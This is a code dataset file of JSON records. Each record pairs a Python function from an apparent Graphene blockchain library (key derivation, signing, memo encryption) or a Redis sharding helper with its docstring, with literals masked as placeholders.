{"signature": "def __format__(self, _format):", "body": "if _format.upper() == \"<STR_LIT>\":<EOL><INDENT>return base58CheckEncode(<NUM_LIT>, self._hex)<EOL><DEDENT>elif _format.upper() == \"<STR_LIT>\":<EOL><INDENT>return base58encode(self._hex)<EOL><DEDENT>elif _format.upper() == \"<STR_LIT>\":<EOL><INDENT>return base58CheckEncode(<NUM_LIT>, self._hex)<EOL><DEDENT>else:<EOL><INDENT>return _format.upper() + str(self)<EOL><DEDENT>", "docstring": "Format output according to argument _format (wif,...)\n\n            :param str _format: Format to use\n            :return: formatted data according to _format\n            :rtype: str", "id": "f8266:c0:m1"}
{"signature": "def __repr__(self):", "body": "return self._hex<EOL>", "docstring": "Returns hex value of object\n\n            :return: Hex string of instance's data\n            :rtype: hex string", "id": "f8266:c0:m2"}
{"signature": "def __str__(self):", "body": "return gphBase58CheckEncode(self._hex)<EOL>", "docstring": "Return graphene-base58CheckEncoded string of data\n\n            :return: Base58 encoded data\n            :rtype: str", "id": "f8266:c0:m3"}
{"signature": "def __bytes__(self):", "body": "return unhexlify(self._hex)<EOL>", "docstring": "Return raw bytes\n\n            :return: Raw bytes of instance\n            :rtype: bytes", "id": "f8266:c0:m4"}
{"signature": "def get_private(self):", "body": "a = _bytes(self.account + self.role + self.password)<EOL>s = hashlib.sha256(a).digest()<EOL>return PrivateKey(hexlify(s).decode(\"<STR_LIT:ascii>\"), prefix=self.prefix)<EOL>", "docstring": "Derive private key from the brain key and the current sequence\n            number", "id": "f8268:c0:m1"}
{"signature": "def __next__(self):", "body": "return self.next_sequence()<EOL>", "docstring": "Get the next private key (sequence number increment) for\n            iterators", "id": "f8268:c1:m1"}
{"signature": "def next_sequence(self):", "body": "self.sequence += <NUM_LIT:1><EOL>return self<EOL>", "docstring": "Increment the sequence number by 1", "id": "f8268:c1:m2"}
{"signature": "def normalize(self, brainkey):", "body": "return \"<STR_LIT:U+0020>\".join(re.compile(\"<STR_LIT>\").split(brainkey))<EOL>", "docstring": "Correct formating with single whitespace syntax and no trailing\n            space", "id": "f8268:c1:m3"}
{"signature": "def get_brainkey(self):", "body": "return self.normalize(self.brainkey)<EOL>", "docstring": "Return brain key of this instance", "id": "f8268:c1:m4"}
{"signature": "def get_private(self):", "body": "encoded = \"<STR_LIT>\" % (self.brainkey, self.sequence)<EOL>a = _bytes(encoded)<EOL>s = hashlib.sha256(hashlib.sha512(a).digest()).digest()<EOL>return PrivateKey(hexlify(s).decode(\"<STR_LIT:ascii>\"), prefix=self.prefix)<EOL>", "docstring": "Derive private key from the brain key and the current sequence\n            number", "id": "f8268:c1:m5"}
{"signature": "def get_blind_private(self):", "body": "a = _bytes(self.brainkey)<EOL>return PrivateKey(hashlib.sha256(a).hexdigest(), prefix=self.prefix)<EOL>", "docstring": "Derive private key from the brain key (and no sequence number)", "id": "f8268:c1:m6"}
{"signature": "@staticmethod<EOL><INDENT>def suggest():<DEDENT>", "body": "word_count = <NUM_LIT:16><EOL>brainkey = [None] * word_count<EOL>dict_lines = BrainKeyDictionary.split(\"<STR_LIT:U+002C>\")<EOL>assert len(dict_lines) == <NUM_LIT><EOL>for j in range(<NUM_LIT:0>, word_count):<EOL><INDENT>num = int.from_bytes(os.urandom(<NUM_LIT:2>), byteorder=\"<STR_LIT>\")<EOL>rndMult = num / <NUM_LIT:2> ** <NUM_LIT:16>  <EOL>wIdx = round(len(dict_lines) * rndMult)<EOL>brainkey[j] = dict_lines[wIdx]<EOL><DEDENT>return \"<STR_LIT:U+0020>\".join(brainkey).upper()<EOL>", "docstring": "Suggest a new random brain key. Randomness is provided by the\n            operating system using ``os.urandom()``.", "id": "f8268:c1:m10"}
{"signature": "@classmethod<EOL><INDENT>def from_pubkey(cls, pubkey, compressed=True, version=<NUM_LIT>, prefix=None):<DEDENT>", "body": "<EOL>pubkey = PublicKey(pubkey, prefix=prefix or Prefix.prefix)<EOL>if compressed:<EOL><INDENT>pubkey_plain = pubkey.compressed()<EOL><DEDENT>else:<EOL><INDENT>pubkey_plain = pubkey.uncompressed()<EOL><DEDENT>sha = hashlib.sha256(unhexlify(pubkey_plain)).hexdigest()<EOL>rep = hexlify(ripemd160(sha)).decode(\"<STR_LIT:ascii>\")<EOL>s = (\"<STR_LIT>\" % version) + rep<EOL>result = s + hexlify(doublesha256(s)[:<NUM_LIT:4>]).decode(\"<STR_LIT:ascii>\")<EOL>result = hexlify(ripemd160(result)).decode(\"<STR_LIT:ascii>\")<EOL>return cls(result, prefix=pubkey.prefix)<EOL>", "docstring": "Load an address provided the public key.\n\n            Version: 56 => PTS", "id": "f8268:c2:m1"}
{"signature": "def __repr__(self):", "body": "return repr(self._address)<EOL>", "docstring": "Gives the hex representation of the ``GrapheneBase58CheckEncoded``\n            Graphene address.", "id": "f8268:c2:m2"}
{"signature": "def __str__(self):", "body": "return format(self._address, self.prefix)<EOL>", "docstring": "Returns the readable Graphene address. This call is equivalent to\n            ``format(Address, \"GPH\")``", "id": "f8268:c2:m3"}
{"signature": "def __format__(self, _format):", "body": "return format(self._address, _format)<EOL>", "docstring": "May be issued to get valid \"MUSE\", \"PLAY\" or any other Graphene compatible\n            address with corresponding prefix.", "id": "f8268:c2:m4"}
{"signature": "def __bytes__(self):", "body": "return bytes(self._address)<EOL>", "docstring": "Returns the raw content of the ``Base58CheckEncoded`` address", "id": "f8268:c2:m5"}
{"signature": "def _derive_y_from_x(self, x, is_even):", "body": "curve = ecdsa.SECP256k1.curve<EOL>a, b, p = curve.a(), curve.b(), curve.p()<EOL>alpha = (pow(x, <NUM_LIT:3>, p) + a * x + b) % p<EOL>beta = ecdsa.numbertheory.square_root_mod_prime(alpha, p)<EOL>if (beta % <NUM_LIT:2>) == is_even:<EOL><INDENT>beta = p - beta<EOL><DEDENT>return beta<EOL>", "docstring": "Derive y point from x point", "id": "f8268:c4:m3"}
{"signature": "def compressed(self):", "body": "return repr(self._pk)<EOL>", "docstring": "returns the compressed key", "id": "f8268:c4:m4"}
{"signature": "def uncompressed(self):", "body": "public_key = repr(self._pk)<EOL>prefix = public_key[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>assert prefix == \"<STR_LIT>\" or prefix == \"<STR_LIT>\"<EOL>x = int(public_key[<NUM_LIT:2>:], <NUM_LIT:16>)<EOL>y = self._derive_y_from_x(x, (prefix == \"<STR_LIT>\"))<EOL>key = \"<STR_LIT>\" + \"<STR_LIT>\" % x + \"<STR_LIT>\" % y<EOL>return key<EOL>", "docstring": "Derive uncompressed key", "id": "f8268:c4:m5"}
{"signature": "def point(self):", "body": "string = unhexlify(self.unCompressed())<EOL>return ecdsa.VerifyingKey.from_string(<EOL>string[<NUM_LIT:1>:], curve=ecdsa.SECP256k1<EOL>).pubkey.point<EOL>", "docstring": "Return the point for the public key", "id": "f8268:c4:m6"}
{"signature": "def child(self, offset256):", "body": "a = bytes(self) + offset256<EOL>s = hashlib.sha256(a).digest()<EOL>return self.add(s)<EOL>", "docstring": "Derive new public key from this key and a sha256 \"offset", "id": "f8268:c4:m7"}
{"signature": "def add(self, digest256):", "body": "from .ecdsa import tweakaddPubkey<EOL>return tweakaddPubkey(self, digest256)<EOL>", "docstring": "Derive new public key from this key and a sha256 \"digest", "id": "f8268:c4:m8"}
{"signature": "@classmethod<EOL><INDENT>def from_privkey(cls, privkey, prefix=None):<DEDENT>", "body": "privkey = PrivateKey(privkey, prefix=prefix or Prefix.prefix)<EOL>secret = unhexlify(repr(privkey))<EOL>order = ecdsa.SigningKey.from_string(<EOL>secret, curve=ecdsa.SECP256k1<EOL>).curve.generator.order()<EOL>p = ecdsa.SigningKey.from_string(<EOL>secret, curve=ecdsa.SECP256k1<EOL>).verifying_key.pubkey.point<EOL>x_str = ecdsa.util.number_to_string(p.x(), order)<EOL>compressed = hexlify(chr(<NUM_LIT:2> + (p.y() & <NUM_LIT:1>)).encode(\"<STR_LIT:ascii>\") + x_str).decode(<EOL>\"<STR_LIT:ascii>\"<EOL>)<EOL>return cls(compressed, prefix=prefix or Prefix.prefix)<EOL>", "docstring": "Derive uncompressed public key", "id": "f8268:c4:m9"}
{"signature": "def __repr__(self):", "body": "return repr(self._pk)<EOL>", "docstring": "Gives the hex representation of the Graphene public key.", "id": "f8268:c4:m10"}
{"signature": "def __str__(self):", "body": "return format(self._pk, self.prefix)<EOL>", "docstring": "Returns the readable Graphene public key. This call is equivalent to\n            ``format(PublicKey, \"GPH\")``", "id": "f8268:c4:m11"}
{"signature": "def __format__(self, _format):", "body": "return format(self._pk, _format)<EOL>", "docstring": "Formats the instance of:doc:`Base58 <base58>` according to\n            ``_format``", "id": "f8268:c4:m12"}
{"signature": "def __bytes__(self):", "body": "return bytes(self._pk)<EOL>", "docstring": "Returns the raw public key (has length 33)", "id": "f8268:c4:m13"}
{"signature": "def __lt__(self, other):", "body": "assert isinstance(other, PublicKey)<EOL>return repr(self.address) < repr(other.address)<EOL>", "docstring": "For sorting of public keys (due to graphene),\n            we actually sort according to addresses", "id": "f8268:c4:m14"}
{"signature": "def unCompressed(self):", "body": "return self.uncompressed()<EOL>", "docstring": "Alias for self.uncompressed() - LEGACY", "id": "f8268:c4:m15"}
{"signature": "@property<EOL><INDENT>def address(self):<DEDENT>", "body": "return GrapheneAddress.from_pubkey(repr(self), prefix=self.prefix)<EOL>", "docstring": "Obtain a GrapheneAddress from a public key", "id": "f8268:c4:m16"}
{"signature": "def get_secret(self):", "body": "return hashlib.sha256(bytes(self)).digest()<EOL>", "docstring": "Get sha256 digest of the wif key.", "id": "f8268:c5:m6"}
{"signature": "def derive_private_key(self, sequence):", "body": "encoded = \"<STR_LIT>\" % (str(self), sequence)<EOL>a = bytes(encoded, \"<STR_LIT:ascii>\")<EOL>s = hashlib.sha256(hashlib.sha512(a).digest()).digest()<EOL>return PrivateKey(hexlify(s).decode(\"<STR_LIT:ascii>\"), prefix=self.pubkey.prefix)<EOL>", "docstring": "Derive new private key from this private key and an arbitrary\n            sequence number", "id": "f8268:c5:m7"}
{"signature": "def child(self, offset256):", "body": "a = bytes(self.pubkey) + offset256<EOL>s = hashlib.sha256(a).digest()<EOL>return self.derive_from_seed(s)<EOL>", "docstring": "Derive new private key from this key and a sha256 \"offset\"", "id": "f8268:c5:m8"}
{"signature": "def derive_from_seed(self, offset):", "body": "seed = int(hexlify(bytes(self)).decode(\"<STR_LIT:ascii>\"), <NUM_LIT:16>)<EOL>z = int(hexlify(offset).decode(\"<STR_LIT:ascii>\"), <NUM_LIT:16>)<EOL>order = ecdsa.SECP256k1.order<EOL>secexp = (seed + z) % order<EOL>secret = \"<STR_LIT>\" % secexp<EOL>if len(secret) < <NUM_LIT:64>: <EOL><INDENT>secret = (\"<STR_LIT:0>\" * (<NUM_LIT:64>-len(secret))) + secret<EOL><DEDENT>return PrivateKey(secret, prefix=self.pubkey.prefix)<EOL>", "docstring": "Derive private key using \"generate_from_seed\" method.\n            Here, the key itself serves as a `seed`, and `offset`\n            is expected to be a sha256 digest.", "id": "f8268:c5:m9"}
{"signature": "def __format__(self, _format):", "body": "return format(self._wif, _format)<EOL>", "docstring": "Formats the instance of:doc:`Base58 <base58>` according to\n            ``_format``", "id": "f8268:c5:m10"}
{"signature": "def __repr__(self):", "body": "return repr(self._wif)<EOL>", "docstring": "Gives the hex representation of the Graphene private key.", "id": "f8268:c5:m11"}
{"signature": "def __str__(self):", "body": "return format(self._wif, \"<STR_LIT>\")<EOL>", "docstring": "Returns the readable (uncompressed wif format) Graphene private key. This\n            call is equivalent to ``format(PrivateKey, \"WIF\")``", "id": "f8268:c5:m12"}
{"signature": "def __bytes__(self):  ", "body": "return bytes(self._wif)<EOL>", "docstring": "Returns the raw private key", "id": "f8268:c5:m13"}
{"signature": "def __str__(self):", "body": "return format(self._address, \"<STR_LIT>\")<EOL>", "docstring": "Returns the readable Graphene address. This call is equivalent to\n            ``format(Address, \"GPH\")``", "id": "f8268:c6:m1"}
{"signature": "def recover_public_key(digest, signature, i, message=None):", "body": "<EOL>curve = ecdsa.SECP256k1.curve<EOL>G = ecdsa.SECP256k1.generator<EOL>order = ecdsa.SECP256k1.order<EOL>yp = i % <NUM_LIT:2><EOL>r, s = ecdsa.util.sigdecode_string(signature, order)<EOL>x = r + (i // <NUM_LIT:2>) * order<EOL>alpha = ((x * x * x) + (curve.a() * x) + curve.b()) % curve.p()<EOL>beta = ecdsa.numbertheory.square_root_mod_prime(alpha, curve.p())<EOL>y = beta if (beta - yp) % <NUM_LIT:2> == <NUM_LIT:0> else curve.p() - beta<EOL>R = ecdsa.ellipticcurve.Point(curve, x, y, order)<EOL>e = ecdsa.util.string_to_number(digest)<EOL>Q = ecdsa.numbertheory.inverse_mod(r, order) * (s * R + (-e % order) * G)<EOL>if SECP256K1_MODULE == \"<STR_LIT>\" and message is not None:<EOL><INDENT>if not isinstance(message, bytes):<EOL><INDENT>message = bytes(message, \"<STR_LIT:utf-8>\")  <EOL><DEDENT>sigder = encode_dss_signature(r, s)<EOL>public_key = ec.EllipticCurvePublicNumbers(<EOL>Q._Point__x, Q._Point__y, ec.SECP256K1()<EOL>).public_key(default_backend())<EOL>public_key.verify(sigder, message, ec.ECDSA(hashes.SHA256()))<EOL>return public_key<EOL><DEDENT>else:<EOL><INDENT>if not ecdsa.VerifyingKey.from_public_point(<EOL>Q, curve=ecdsa.SECP256k1<EOL>).verify_digest(<EOL>signature, digest, sigdecode=ecdsa.util.sigdecode_string<EOL>):  <EOL><INDENT>return None  <EOL><DEDENT>return ecdsa.VerifyingKey.from_public_point(<EOL>Q, curve=ecdsa.SECP256k1<EOL>)<EOL><DEDENT>", "docstring": "Recover the public key from the the signature", "id": "f8269:m2"}
{"signature": "def recoverPubkeyParameter(message, digest, signature, pubkey):", "body": "if not isinstance(message, bytes):<EOL><INDENT>message = bytes(message, \"<STR_LIT:utf-8>\")  <EOL><DEDENT>for i in range(<NUM_LIT:0>, <NUM_LIT:4>):<EOL><INDENT>if SECP256K1_MODULE == \"<STR_LIT>\":  <EOL><INDENT>sig = pubkey.ecdsa_recoverable_deserialize(signature, i)<EOL>p = secp256k1.PublicKey(pubkey.ecdsa_recover(message, sig))<EOL>if p.serialize() == pubkey.serialize():<EOL><INDENT>return i<EOL><DEDENT><DEDENT>elif SECP256K1_MODULE == \"<STR_LIT>\" and not isinstance(pubkey, PublicKey):<EOL><INDENT>p = recover_public_key(digest, signature, i, message)<EOL>p_comp = hexlify(compressedPubkey(p))<EOL>pubkey_comp = hexlify(compressedPubkey(pubkey))<EOL>if p_comp == pubkey_comp:<EOL><INDENT>return i<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>p = recover_public_key(digest, signature, i)<EOL>p_comp = hexlify(compressedPubkey(p))<EOL>p_string = hexlify(p.to_string())<EOL>if isinstance(pubkey, PublicKey):  <EOL><INDENT>pubkey_string = bytes(repr(pubkey), \"<STR_LIT:ascii>\")<EOL><DEDENT>else:  <EOL><INDENT>pubkey_string = hexlify(pubkey.to_string())<EOL><DEDENT>if p_string == pubkey_string or p_comp == pubkey_string:  <EOL><INDENT>return i<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Use to derive a number that allows to easily recover the\n        public key from the signature", "id": "f8269:m3"}
{"signature": "def sign_message(message, wif, hashfn=hashlib.sha256):", "body": "if not isinstance(message, bytes):<EOL><INDENT>message = bytes(message, \"<STR_LIT:utf-8>\")<EOL><DEDENT>digest = hashfn(message).digest()<EOL>priv_key = PrivateKey(wif)<EOL>p = bytes(priv_key)<EOL>if SECP256K1_MODULE == \"<STR_LIT>\":<EOL><INDENT>ndata = secp256k1.ffi.new(\"<STR_LIT>\")<EOL>ndata[<NUM_LIT:0>] = <NUM_LIT:0><EOL>while True:<EOL><INDENT>ndata[<NUM_LIT:0>] += <NUM_LIT:1><EOL>privkey = secp256k1.PrivateKey(p, raw=True)<EOL>sig = secp256k1.ffi.new(\"<STR_LIT>\")<EOL>signed = secp256k1.lib.secp256k1_ecdsa_sign_recoverable(<EOL>privkey.ctx, sig, digest, privkey.private_key, secp256k1.ffi.NULL, ndata<EOL>)<EOL>if not signed == <NUM_LIT:1>:  <EOL><INDENT>raise AssertionError()<EOL><DEDENT>signature, i = privkey.ecdsa_recoverable_serialize(sig)<EOL>if _is_canonical(signature):<EOL><INDENT>i += <NUM_LIT:4>  <EOL>i += <NUM_LIT>  <EOL>break<EOL><DEDENT><DEDENT><DEDENT>elif SECP256K1_MODULE == \"<STR_LIT>\":<EOL><INDENT>cnt = <NUM_LIT:0><EOL>private_key = ec.derive_private_key(<EOL>int(repr(priv_key), <NUM_LIT:16>), ec.SECP256K1(), default_backend()<EOL>)<EOL>public_key = private_key.public_key()<EOL>while True:<EOL><INDENT>cnt += <NUM_LIT:1><EOL>if not cnt % <NUM_LIT:20>:  <EOL><INDENT>log.info(<EOL>\"<STR_LIT>\"<EOL>% cnt<EOL>)<EOL><DEDENT>order = ecdsa.SECP256k1.order<EOL>sigder = private_key.sign(message, ec.ECDSA(hashes.SHA256()))<EOL>r, s = decode_dss_signature(sigder)<EOL>signature = ecdsa.util.sigencode_string(r, s, order)<EOL>sigder = bytearray(sigder)<EOL>lenR = sigder[<NUM_LIT:3>]<EOL>lenS = sigder[<NUM_LIT:5> + lenR]<EOL>if lenR is <NUM_LIT:32> and lenS is <NUM_LIT:32>:<EOL><INDENT>i = recoverPubkeyParameter(message, digest, signature, public_key)<EOL>i += <NUM_LIT:4>  <EOL>i += <NUM_LIT>  <EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:  <EOL><INDENT>cnt = <NUM_LIT:0><EOL>sk = ecdsa.SigningKey.from_string(p, curve=ecdsa.SECP256k1)<EOL>while <NUM_LIT:1>:<EOL><INDENT>cnt += <NUM_LIT:1><EOL>if not cnt % <NUM_LIT:20>:  <EOL><INDENT>log.info(<EOL>\"<STR_LIT>\"<EOL>% cnt<EOL>)<EOL><DEDENT>k = ecdsa.rfc6979.generate_k(<EOL>sk.curve.generator.order(),<EOL>sk.privkey.secret_multiplier,<EOL>hashlib.sha256,<EOL>hashlib.sha256(<EOL>digest<EOL>+ struct.pack(<EOL>\"<STR_LIT:d>\", time.time()<EOL>)  <EOL>).digest(),<EOL>)<EOL>sigder = sk.sign_digest(digest, sigencode=ecdsa.util.sigencode_der, k=k)<EOL>r, s = ecdsa.util.sigdecode_der(sigder, sk.curve.generator.order())<EOL>signature = ecdsa.util.sigencode_string(r, s, sk.curve.generator.order())<EOL>sigder = bytearray(sigder)<EOL>lenR = sigder[<NUM_LIT:3>]<EOL>lenS = sigder[<NUM_LIT:5> + lenR]<EOL>if lenR is <NUM_LIT:32> and lenS is <NUM_LIT:32>:<EOL><INDENT>i = recoverPubkeyParameter(<EOL>message, digest, signature, sk.get_verifying_key()<EOL>)<EOL>i += <NUM_LIT:4>  <EOL>i += <NUM_LIT>  <EOL>break<EOL><DEDENT><DEDENT><DEDENT>sigstr = struct.pack(\"<STR_LIT>\", i)<EOL>sigstr += signature<EOL>return sigstr<EOL>", "docstring": "Sign a digest with a wif key\n\n        :param str wif: Private key in", "id": "f8269:m4"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "<EOL>sigs = self.data[\"<STR_LIT>\"]<EOL>self.data.pop(\"<STR_LIT>\", None)<EOL>h = hashlib.sha256(bytes(self)).digest()<EOL>self.data[\"<STR_LIT>\"] = sigs<EOL>return hexlify(h[:<NUM_LIT:20>]).decode(\"<STR_LIT:ascii>\")<EOL>", "docstring": "The transaction id of this transaction", "id": "f8271:c1:m4"}
{"signature": "def sign(self, wifkeys, chain=None):", "body": "if not chain:<EOL><INDENT>chain = self.get_default_prefix()<EOL><DEDENT>self.deriveDigest(chain)<EOL>self.privkeys = []<EOL>for item in wifkeys:<EOL><INDENT>if item not in self.privkeys:<EOL><INDENT>self.privkeys.append(item)<EOL><DEDENT><DEDENT>sigs = []<EOL>for wif in self.privkeys:<EOL><INDENT>signature = sign_message(self.message, wif)<EOL>sigs.append(Signature(signature))<EOL><DEDENT>self.data[\"<STR_LIT>\"] = Array(sigs)<EOL>return self<EOL>", "docstring": "Sign the transaction with the provided private keys.\n\n            :param array wifkeys: Array of wif keys\n            :param str chain: identifier for the chain", "id": "f8271:c1:m8"}
{"signature": "def _bytes(x):  ", "body": "if sys.version > \"<STR_LIT:3>\":<EOL><INDENT>return bytes(x, \"<STR_LIT:utf8>\")<EOL><DEDENT>else:  <EOL><INDENT>return x.__bytes__()<EOL><DEDENT>", "docstring": "Python3 and Python2 compatibility", "id": "f8272:m0"}
{"signature": "def formatTime(t):", "body": "if isinstance(t, (float, int)):<EOL><INDENT>return datetime.utcfromtimestamp(t).strftime(timeFormat)<EOL><DEDENT>elif isinstance(t, datetime):<EOL><INDENT>return t.strftime(timeFormat)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Properly Format Time for permlinks", "id": "f8272:m2"}
{"signature": "def formatTimeFromNow(secs=<NUM_LIT:0>):", "body": "return datetime.utcfromtimestamp(time.time() + int(secs)).strftime(timeFormat)<EOL>", "docstring": "Properly Format Time that is `x` seconds in the future\n\n        :param int secs: Seconds to go in the future (`x>0`) or the\n                         past (`x<0`)\n        :return: Properly formated time for Graphene (`%Y-%m-%dT%H:%M:%S`)\n        :rtype: str", "id": "f8272:m3"}
{"signature": "def parse_time(block_time):", "body": "return datetime.strptime(block_time, timeFormat).replace(tzinfo=timezone.utc)<EOL>", "docstring": "Take a string representation of time from the blockchain, and parse it\n       into datetime object.", "id": "f8272:m4"}
{"signature": "def get_shared_secret(priv, pub):", "body": "pub_point = pub.point()<EOL>priv_point = int(repr(priv), <NUM_LIT:16>)<EOL>res = pub_point * priv_point<EOL>res_hex = \"<STR_LIT>\" % res.x()<EOL>res_hex = \"<STR_LIT:0>\" * (<NUM_LIT:64> - len(res_hex)) + res_hex<EOL>return res_hex<EOL>", "docstring": "Derive the share secret between ``priv`` and ``pub``\n\n        :param `Base58` priv: Private Key\n        :param `Base58` pub: Public Key\n        :return: Shared secret\n        :rtype: hex\n\n        The shared secret is generated such that::\n\n            Pub(Alice) * Priv(Bob) = Pub(Bob) * Priv(Alice)", "id": "f8273:m0"}
{"signature": "def init_aes(shared_secret, nonce):", "body": "\"<STR_LIT>\"<EOL>ss = hashlib.sha512(unhexlify(shared_secret)).digest()<EOL>\"<STR_LIT>\"<EOL>seed = bytes(str(nonce), \"<STR_LIT:ascii>\") + hexlify(ss)<EOL>seed_digest = hexlify(hashlib.sha512(seed).digest()).decode(\"<STR_LIT:ascii>\")<EOL>\"<STR_LIT>\"<EOL>key = unhexlify(seed_digest[<NUM_LIT:0>:<NUM_LIT:64>])<EOL>iv = unhexlify(seed_digest[<NUM_LIT:64>:<NUM_LIT>])<EOL>return AES.new(key, AES.MODE_CBC, iv)<EOL>", "docstring": "Initialize AES instance\n\n        :param hex shared_secret: Shared Secret to use as encryption key\n        :param int nonce: Random nonce\n        :return: AES instance\n        :rtype: AES", "id": "f8273:m1"}
{"signature": "def encode_memo(priv, pub, nonce, message):", "body": "shared_secret = get_shared_secret(priv, pub)<EOL>aes = init_aes(shared_secret, nonce)<EOL>\"<STR_LIT>\"<EOL>raw = bytes(message, \"<STR_LIT:utf8>\")<EOL>checksum = hashlib.sha256(raw).digest()<EOL>raw = checksum[<NUM_LIT:0>:<NUM_LIT:4>] + raw<EOL>\"<STR_LIT>\"<EOL>raw = _pad(raw, <NUM_LIT:16>)<EOL>\"<STR_LIT>\"<EOL>return hexlify(aes.encrypt(raw)).decode(\"<STR_LIT:ascii>\")<EOL>", "docstring": "Encode a message with a shared secret between Alice and Bob\n\n        :param PrivateKey priv: Private Key (of Alice)\n        :param PublicKey pub: Public Key (of Bob)\n        :param int nonce: Random nonce\n        :param str message: Memo message\n        :return: Encrypted message\n        :rtype: hex", "id": "f8273:m4"}
{"signature": "def decode_memo(priv, pub, nonce, message):", "body": "shared_secret = get_shared_secret(priv, pub)<EOL>aes = init_aes(shared_secret, nonce)<EOL>\"<STR_LIT>\"<EOL>raw = bytes(message, \"<STR_LIT:ascii>\")<EOL>cleartext = aes.decrypt(unhexlify(raw))<EOL>\"<STR_LIT>\"<EOL>checksum = cleartext[<NUM_LIT:0>:<NUM_LIT:4>]<EOL>message = cleartext[<NUM_LIT:4>:]<EOL>message = _unpad(message, <NUM_LIT:16>)<EOL>\"<STR_LIT>\"<EOL>check = hashlib.sha256(message).digest()[<NUM_LIT:0>:<NUM_LIT:4>]<EOL>if check != checksum:  <EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return message.decode(\"<STR_LIT:utf8>\")<EOL>", "docstring": "Decode a message with a shared secret between Alice and Bob\n\n        :param PrivateKey priv: Private Key (of Bob)\n        :param PublicKey pub: Public Key (of Alice)\n        :param int nonce: Nonce used for Encryption\n        :param bytes message: Encrypted Memo message\n        :return: Decrypted message\n        :rtype: str\n        :raise ValueError: if message cannot be decoded as valid UTF-8\n               string", "id": "f8273:m5"}
{"signature": "def __init__(self, nodes=[], replicas=<NUM_LIT>, hash_method='<STR_LIT>'):", "body": "self.hash_method = hash_methods[hash_method]<EOL>self.nodes = []<EOL>self.replicas = replicas<EOL>self.ring = {}<EOL>self.sorted_keys = []<EOL>for n in nodes:<EOL><INDENT>self.add_node(n)<EOL><DEDENT>", "docstring": "Manages a hash ring.\n\n        `nodes` is a list of objects that have a proper __str__ representation.\n        `replicas` indicates how many virtual points should be used pr. node,\n        replicas are required to improve the distribution.\n        `hash_method` is the key generator method.", "id": "f8280:c0:m0"}
{"signature": "def add_node(self, node):", "body": "self.nodes.append(node)<EOL>for x in xrange(self.replicas):<EOL><INDENT>ring_key = self.hash_method(b(\"<STR_LIT>\" % (node, x)))<EOL>self.ring[ring_key] = node<EOL>self.sorted_keys.append(ring_key)<EOL><DEDENT>self.sorted_keys.sort()<EOL>", "docstring": "Adds a `node` to the hash ring (including a number of replicas).", "id": "f8280:c0:m1"}
{"signature": "def remove_node(self, node):", "body": "self.nodes.remove(node)<EOL>for x in xrange(self.replicas):<EOL><INDENT>ring_key = self.hash_method(b(\"<STR_LIT>\" % (node, x)))<EOL>self.ring.pop(ring_key)<EOL>self.sorted_keys.remove(ring_key)<EOL><DEDENT>", "docstring": "Removes `node` from the hash ring and its replicas.", "id": "f8280:c0:m2"}
{"signature": "def get_node(self, key):", "body": "n, i = self.get_node_pos(key)<EOL>return n<EOL>", "docstring": "Given a string key a corresponding node in the hash ring is returned.\n\n        If the hash ring is empty, `None` is returned.", "id": "f8280:c0:m3"}
{"signature": "def get_node_pos(self, key):", "body": "if len(self.ring) == <NUM_LIT:0>:<EOL><INDENT>return [None, None]<EOL><DEDENT>crc = self.hash_method(b(key))<EOL>idx = bisect.bisect(self.sorted_keys, crc)<EOL>idx = min(idx, (self.replicas * len(self.nodes)) - <NUM_LIT:1>)<EOL>return [self.ring[self.sorted_keys[idx]], idx]<EOL>", "docstring": "Given a string key a corresponding node in the hash ring is returned\n        along with it's position in the ring.\n\n        If the hash ring is empty, (`None`, `None`) is returned.", "id": "f8280:c0:m4"}
{"signature": "def iter_nodes(self, key):", "body": "if len(self.ring) == <NUM_LIT:0>:<EOL><INDENT>yield None, None<EOL><DEDENT>node, pos = self.get_node_pos(key)<EOL>for k in self.sorted_keys[pos:]:<EOL><INDENT>yield k, self.ring[k]<EOL><DEDENT>", "docstring": "Given a string key it returns the nodes as a generator that can hold the key.", "id": "f8280:c0:m5"}
{"signature": "def format_servers(servers):", "body": "configs = []<EOL>if not isinstance(servers, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>_type = type(servers[<NUM_LIT:0>])<EOL>if _type == dict:<EOL><INDENT>return servers<EOL><DEDENT>if (sys.version_info[<NUM_LIT:0>] == <NUM_LIT:3> and _type in [str, bytes])or (sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2> and _type in [str, unicode]):<EOL><INDENT>for config in servers:<EOL><INDENT>configs.append(parse_url(config))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return configs<EOL>", "docstring": ":param servers: server list, element in it can have two kinds of format.\n\n- dict\n\nservers = [\n    {'name':'node1','host':'127.0.0.1','port':10000,'db':0},\n    {'name':'node2','host':'127.0.0.1','port':11000,'db':0},\n    {'name':'node3','host':'127.0.0.1','port':12000,'db':0},\n    ]\n\n\n- url_schema\n\nservers = ['redis://127.0.0.1:10000/0?name=node1',\n            'redis://127.0.0.1:11000/0?name=node2',\n            'redis://127.0.0.1:12000/0?name=node3'\n    ]", "id": "f8286:m0"}
{"signature": "def mget(self, keys, *args):", "body": "args = list_or_args(keys, args)<EOL>server_keys = {}<EOL>ret_dict = {}<EOL>for key in args:<EOL><INDENT>server_name = self.get_server_name(key)<EOL>server_keys[server_name] = server_keys.get(server_name, [])<EOL>server_keys[server_name].append(key)<EOL><DEDENT>for server_name, sub_keys in iteritems(server_keys):<EOL><INDENT>values = self.connections[server_name].mget(sub_keys)<EOL>ret_dict.update(dict(zip(sub_keys, values)))<EOL><DEDENT>result = []<EOL>for key in args:<EOL><INDENT>result.append(ret_dict.get(key, None))<EOL><DEDENT>return result<EOL>", "docstring": "Returns a list of values ordered identically to ``keys``", "id": "f8288:c0:m11"}
{"signature": "def mset(self, mapping):", "body": "servers = {}<EOL>for key, value in mapping.items():<EOL><INDENT>server_name = self.get_server_name(key)<EOL>servers.setdefault(server_name, [])<EOL>servers[server_name].append((key, value))<EOL><DEDENT>for name, items in servers.items():<EOL><INDENT>self.connections[name].mset(dict(items))<EOL><DEDENT>return True<EOL>", "docstring": "Sets each key in the ``mapping`` dict to its corresponding value", "id": "f8288:c0:m12"}
